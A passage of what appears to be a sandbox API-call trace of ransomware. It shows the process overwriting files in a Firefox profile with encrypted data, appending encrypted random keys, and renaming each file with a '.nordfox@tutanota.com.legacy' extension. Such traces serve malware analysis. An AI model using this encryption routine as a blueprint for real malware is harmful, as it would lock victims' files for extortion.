pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.581] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.581] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.581] CloseHandle (hObject=0x1a4c) returned 1 [0177.581] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.584] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0177.584] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0177.584] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.pset", dwFileAttributes=0x80) returned 1 [0177.584] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9c08 [0177.584] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a008 [0177.584] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e20240, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20240*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.585] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.585] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e201b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e201b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.586] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0177.586] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.586] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.586] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.586] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.586] CloseHandle (hObject=0x1a4c) returned 1 [0177.587] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.589] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.589] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.589] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.sbstore", dwFileAttributes=0x80) returned 1 [0177.590] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9a38 [0177.590] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a6c0 [0177.590] ReadFile (in: hFile=0x1a4c, lpBuffer=0x5e68d0, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e68d0*, lpNumberOfBytesRead=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.591] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.591] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5e7410*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7410*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.592] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe8 [0177.592] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.592] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.592] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.592] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.592] CloseHandle (hObject=0x1a4c) returned 1 [0177.593] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.594] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0177.594] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0177.594] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.pset", dwFileAttributes=0x80) returned 1 [0177.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c95b0 [0177.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a818 [0177.595] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e20348, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20348*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.596] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.596] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e20198*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20198*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.596] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0177.596] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.596] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.597] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.597] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.597] CloseHandle (hObject=0x1a4c) returned 1 [0177.597] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.599] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0177.599] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0177.599] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.sbstore", dwFileAttributes=0x80) returned 1 [0177.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c94c8 [0177.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a160 [0177.599] ReadFile (in: hFile=0x1a4c, lpBuffer=0x5e75f0, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e75f0*, lpNumberOfBytesRead=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.600] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.600] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5e68d0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e68d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.600] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe8 [0177.600] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.600] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.601] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.601] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.601] CloseHandle (hObject=0x1a4c) returned 1 [0177.601] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.603] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.603] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.603] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.pset", dwFileAttributes=0x80) returned 1 [0177.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9b20 [0177.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x609d58 [0177.604] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e200f0, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e200f0*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.605] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.605] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e201b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e201b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.605] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0177.605] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.605] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.606] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.606] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.606] CloseHandle (hObject=0x1a4c) returned 1 [0177.606] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.608] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0177.608] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0177.608] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.sbstore", dwFileAttributes=0x80) returned 1 [0177.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x30d5530 [0177.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x6188c8 [0177.609] ReadFile (in: hFile=0x1a4c, lpBuffer=0x5e6d80, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e6d80*, lpNumberOfBytesRead=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.610] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.610] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5e75f0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e75f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.610] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe8 [0177.610] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.611] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.611] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.611] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.611] CloseHandle (hObject=0x1a4c) returned 1 [0177.611] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.614] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.614] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.614] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.pset", dwFileAttributes=0x80) returned 1 [0177.614] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c93e0 [0177.614] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a568 [0177.615] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e20180, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20180*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.615] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.615] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e20090*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20090*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.616] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0177.616] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.616] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.616] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.616] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.617] CloseHandle (hObject=0x1a4c) returned 1 [0177.617] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.620] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.621] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.621] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.sbstore", dwFileAttributes=0x80) returned 1 [0177.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x30d64b0 [0177.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618750 [0177.621] ReadFile (in: hFile=0x1a4c, lpBuffer=0x5e69c0, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e69c0*, lpNumberOfBytesRead=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.622] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.622] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5e7230*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7230*, 